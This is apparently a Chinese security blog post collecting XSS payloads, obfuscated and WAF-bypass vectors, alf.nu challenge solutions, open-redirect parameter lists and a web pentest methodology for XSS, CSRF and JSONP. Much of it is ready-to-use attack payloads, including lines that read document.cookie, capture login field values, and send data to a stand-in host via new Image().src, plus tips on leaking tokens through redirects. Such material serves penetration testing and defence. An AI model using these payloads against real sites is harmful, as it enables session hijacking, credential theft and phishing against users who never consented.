xss fuck

收集的payload

<img src=x onerror=alert(1)></img>
<svg/onload=alert(1)></svg>
" onmouseover=alert(1) a="
javascript:alert(1)
<script>alert(1)</script>
<hr>123321
<isindex type=image src=1 onerror=alert(1)> 
<isindex action=javascript:alert(1) type=image> 
<img src=x:alert(alt) onerror=eval(src) alt=0> 
<x:script xmlns:x="http://www.w3.org/1999/ xhtml">alert('xss');</x:script> 
"><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4#">


a='',b=!a+a,c=!a+b,d=a+{},e=b[a++],f=


𓅂='',𓂀=!𓅂+𓅂,𓁄=!𓂀+𓅂,𓊎=𓅂+{},𓆣=𓂀 
[𓅂++],𓊝=𓂀[𓇎=𓅂],𓏢=++𓇎+𓅂,𓆗=𓊎[𓇎+𓏢
],𓂀[𓆗+=𓊎[𓅂]+(𓂀.𓁄+𓊎)[𓅂]+𓁄[𓏢]+𓆣+
𓊝+𓂀[𓇎]+𓆗+𓆣+𓊎[𓅂]+𓊝][𓆗](𓁄[𓅂]+𓁄[
𓇎]+𓂀[𓏢]+𓊝+𓆣+'`𓅂 𓏢 𓂀 𓁄 𓆣 𓊝 𓇎`')``

a='',b=!a+a,c=!b+a,l=a+{},d=b
[a++],e=b[f=a],m=++f+a,n=l[f+m
],b[n+=l[a]+(b.c+l)[a]+c[m]+d+
e+b[f]+n+d+l[a]+e][n](c[a]+c[
f]+b[m]+e+d+'`a m b c d e f`')``

<img width="26" height="26" src="https://carry_yourg?x-oss-process=image/resize,w_100,h_100"><m onclick="alert(1)">M" alt=""class="chat-avatar"&gt;</m>

<noscript><p title=" </noscript>
<style onload= alert(document.domain)//">*{/*all*/color/*all*/:/*all*/#e84393/*all*/;}</style>

SearchText=%26%2334%3B%3E%3Ca%20href%3D%22%26%230000106%26%23000097%26%230000118%26%23000097%26%230000115%26%23000099%26%230000114%26%230000105%26%230000112%26%230000116%26%23000058%26%23000099%26%230000111%26%230000110%26%230000115%26%230000111%26%230000108%26%230000101%26%23000046%26%230000108%26%230000111%26%230000103%26%23000040%26%23000047%26%230000120%26%230000115%26%230000115%26%23000047%26%23000041%22+onblur%3Dconsole.log+q%3D

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>


autofocus onfocus=alert(1)

style="width: 100vw; height: 100vh; position: fixed; top: 0; left: 0; z-index: 1000;"  全屏
<a href="#" autofocus onfocus="alert(1)" ></a>自动触发
testtest<svg onload=alert&lpar;document.domain&#41;>testtest<svg onload=alert&lpar;document.cookie&#41;>testtest
"><a href=javascript&colon;alert&lpar;document.cookie)>    
<img src=x:alert(alt) onerror=eval(src) alt=1>
<form><input formaction=javascript:alert(1) type=submit value=click>

https://alf.nu/alert1

第一关

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

显然闭合构造注释”);alert(1)//

第二关

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

懵圈,本想换行符绕过应为正则里面没写m,结果不知为啥执行不了叼他妈的。

换个姿势,报错说是换行符没转义,加个\就正常了,想到用\注释原先的转义符绕过

\“);alert(1)//

第三关

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

</script><script>alert(1);//

全转义

爷给你闭合之前的,再构造

第四关

https://alf.nu/alert(1)#accesstoken=6uEjiGpGDYL5CZGWEf5p

过不去,,,

第五关

经过调试后可以构造createElement来执行function,其中apply的作用和call类似可以把后面的数组作为参数

url

跳转参数

redirect
url
redirectUrl
?callback
return_url
toUrl
ReturnUrl
fromUrl
redUrl
request
redirect_to
redirect_url
jump
jump_to
target
targetUrl
to
goto
link
linkto
domain
oauth_callback
referrerdomain
next
service
?redirect=https://baidu.com&url=https://baidu.com&redirectUrl=url=https://baidu.com&callback=https://baidu.com&return_url=https://baidu.com&ReturnUrl=https://baidu.com?next=https://baidu.com&redirect_url=https://baidu.com&redirect_uri=https://baidu.com&target=https://baidu.com&continue=https://baidu.com

跳转

<meta http-equiv="Refresh" content="1; url=http://www.baidu.com"/>
history.go(-1),history.back(-1)
location.href='//baidu.com' 服务端的url重定向 location.replace('//baidu.com')
<a href="http://baidu.com">百度一下</a>

编码

&quot; &#34;&#000034

探针

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() ) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!> \x3csVg/<sVg/oNloAd=alert()//>\x3e

bypass waf

1.
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart="alert(1)"></div>
2.
<math href="javascript:alert(1)">CLICKME</math> firefox
3.
<area href="javascript:alert(1)" style="display:block;height:100vh;width:100vw">click
4.
<svg><circle><set onbegin=prompt(1) attributename=fill>
5.
<form><input%20type=submit%20formaction=%27java%0a%0ascri%0a%0dPt:var%20a="al%0a%0dert(1)";Function(a)()%27>eeee
6.
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
7.
<a href="javascript:alert(1)">
8.
<embed src="javascript:alert(1)"> firefox data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
9.
<iframe src="javascript:alert(1)"> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
10.
<iframe srcdoc="<svg/onload=alert(1)>">
11.
<input type="search" onsearch="alert(1)">
12.
<form action>
<input type="submit" formaction="javascript:alert(1)">
</form>
13.
<form action="javascript:alert(1)">
<input type="submit">
</form>

oncanplay
ontouchstart
ontouchmove
ontouchend
ontouchcancel
onpageshow

网站业务分析

 1.熟悉开发人员


1.熟悉网站开发的前后端使用技术,客户端渲染?服务端渲染?,熟悉开发使用的语言与框架,前端:html,js,jquery,vue,react...?,后端:php,python,java,nodejs,.net...?



2.熟悉开发者开发习惯,前端的标签,函数命名习惯等...,js代码执行逻辑,熟悉开发者的请求接口命名习惯,服务端返回的数据格式,前端请求方式,form表单,xhr,ajax,fetch,jsonp...



2.熟悉应用业务功能


1.通过搜索引擎,企业查询,第三方信息整合平台,了解应用业务功能,社交,信息搜索,门户网站,管理系统...。熟悉网站的功能,评论,文件上传,即时通讯...



2.熟悉应用的功能实现,注册,登录,信息修改,聊天功能等前后端实现逻辑



3.分析功能点的业务风险xss,csrf,url跳转...,掌握常见业务风险点测试流程。强化测试思路,掌握利用方式。



常见web安全漏洞

1.url跳转
1.产生该漏洞的原因,位置?登录回跳,支付回跳...漏洞危害,利用方式



常见跳转参数:

redirect
url
redirectUrl
callback
return_url
toUrl
ReturnUrl
fromUrl
redUrl
request
redirect_to
redirect_url
jump
jump_to
target
targetUrl
to
goto
link
linkto
domain
oauth_callback
referrerdomain
next


利用方式:

钓鱼网站

javascript协议的xss

携带用户敏感信息,token跳转



常见payload:

Plain Text
1.?reidrect=https://baidu.com
2.?reidrect=https://a.com@b.com
3.?reidrect=//b.com
4.?reidrect=javascript:alert(1)
5.?reidrect=@baidu.com


2.Xss
1.熟悉xss常见的输出位置,搜索,评论,内容渲染,形成的原理,危害,常见利用方式(盗取用户cookie,实现无账号密码登录其他用户网页,所cookie为httponly,可通过js代码让用户发送任意请求),xss的不同类型:



反射型xss:直接响应html代码,如<script>alert(1)</script>,<img src=x onerro=alert(1)>,在页面直接触发,



储存型:将输入内容储存至数据库,并在访问该内容时触发



dom型:只通过一定用户交互或在客户端js代码执行过程中触发



2.如何发现xss漏洞,查找输入点,输入框,url参数,审计代码,查找输出点,通过搜索代码中的输入内容检索代码中出现的位置,次数,观察过滤规则,是否过滤了<>,",'等特殊符号



3.输出在不同位置的常见payload:



直接输出在html中:

Plain Text
<svg onload=alert(1)>
输出在html属性中且",>没被过滤:

Plain Text
"><svg onload=alert(1)//>
输出在html属性中且>被过滤,"没被过滤:

Plain Text
"autofocus onfocus=alert(1)//
输出在js字符串中且"被过滤,<>没被过滤:

Plain Text
</script><script>alert(1)//
输出在js字符串中且<>被过滤,"没被过滤:

Plain Text
"-alert(1)//
输出在a标签href或iframe的src属性中:

Plain Text
javascript:alert(1)
输出在html注释中:

Plain Text
--><svg onload=alert(1)//>
输出在js单行注释中:

Plain Text
%0aalert(1)//
输出在js多行注释中:

Plain Text
*/alert(1)/*


一些特殊的payload

<body%20onpageshow=alert(1)>

<details ontoggle=alert(1) open>test</details>

<a autofocus onfocus=alert(1) href="#">x</a>

--></script><script>alert(1)</script><!--<script>

<video src=http://1252524126.vod2.myqcloud.com/2919df88vodtranscq1252524126/0c702fd15285890790259780332/v.f30.mp4 controls oncanplay=alert(1)>





(对输出在js中且能打破原本结构的payload需要构造正确的js语法)



4.熟悉编码的使用,url编码,html编码,url编码通常用于服务端无法正常接收一些特殊符号导致页面无妨访问,或内容输出在html内且特殊符号被过滤的情况,再使用html编码进行绕过时在通过url编码该内容,(通常html编码后的内容符号在url中有特殊含义,如&lt;为<的html编码,&本身在url表示参数拼接,此时应该再对html编码后的内容进行url编码避免符号冲突)



5,观察利用方式,如结合本地存储的xss进行利用。对出现在登录位置的xss观察是否能直接拦截账号密码,常用测试语句,如url跳转中的xss(此处的元素id名应根据具体情况更换):



Plain Text
javascript:prompt(document.getElementById(`loginName`).value,document.getElementById(`loginPwd`).value)


6.对于盲注类型的xss,通过

Plain Text
<script>new Image().src="//xxx.com?"+document.domain </script>
或其他能执行js的payload验证获取到主机名即可



7xss一句话

Plain Text
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )
//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e






3.Csrf
1.发现方式:观察应用是否有对用户发送的请求做验证,通常为检测referer或csrf_token,若未验证通过自己写html页面(b页面)并发送请求修改原网站(a页面)的某些用户信息,若访问b页面时请求发送成功并被响应,a网页信息修改成功,则证明此网站存在csrf漏洞,



2.位置,通常可在评论,留言,私信等位置留下链接用户在访问时将可能受到攻击,出现较多的情况:


1.发布信息的处,发布链接,或图片资源,用户在访问该链接时触发,影响范围为在访问该发布内容的用户

2.评论,评论链接,图片资源,用户在访问该内容触发,影响范围为所有访问该内容的用户

3.用户头像,或前面等位置的图片或链接,比较隐蔽

4.图片类型可结合登录跳转携带用户敏感信息进行利用,通过referer将信息发送至自己服务器
5.bbcode语法,某些富文本编辑框支持的语法,如[img]https://baidu.com[/img]


4.jsonp
1.出现位置:



网页发送的请求中



常用参数:callback, cb...



漏洞情况:

1.用户敏感信息泄露
2.xss
...


5.内容审计
1.url与html属性



 url参数,路径,html不同属性的作用...



2.JS代码审计与隐藏参数

审计常见危险方法名:

Plain Text
innerHTML
appendChild()
html()
replaceWith()
location.hash
location.search()
localStorage
setTimeout()
eval()
隐藏参数

url中自动产生的参数
input标签hidden属性
js代码中的隐藏参数
其他相关业务中使用到的参数


隐藏路径:id,请求

a标签的href,带注释的a标签
form的action提交地址
script标签内的路径
path搜索,https://, /
请求地址,参数,响应值


6.工具的使用
1.Awvs
测试前主动扫描网站,分析报告,针对报告中有风险的位置多次尝试复现(若无法复现,此处可能为误报)
2.Xray
对具体位置,请求进行精准扫描,分析报告,尝试复现报告,(xss误报较少,sql注入误报较多)
3.JSPrime
对站点进行深度审计时可用于分析站点js代码执行顺序,审计domxss


7.学习提升
1.多看漏洞案例及公开漏洞报告
2.对漏洞可尝试进行复现,加深印象
3.多注重思路的培养,寻去自己独特的测试流程
4.多吸收国内外的漏洞文章经验及思路
5.对通用漏洞或系统在遇见前先查询改系统的公开通用漏洞
6.对好的知识点或内容进行收集整理




http://www.58q8.com/web/hkdh/   安全网站导航

https://www.exploit-db.com/google-hacking-database   Google hack 资料库

http://www.cnnvd.org.cn/  安全信息库

http://whatweb.bugscaner.com/look/  cms查询

http://tools.bugscaner.com/subdomain/ 子域名

https://site.ip138.com/myoas.com/domain.htm ip

https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet xss bypass

http://kumamon.fun/MyBB-RCE/ bbcode嵌套

https://www.freebuf.com/articles/web/81959.html 常见waf绕过

https://html5sec.org/ h5security

https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

solidity Previous
django_learn Next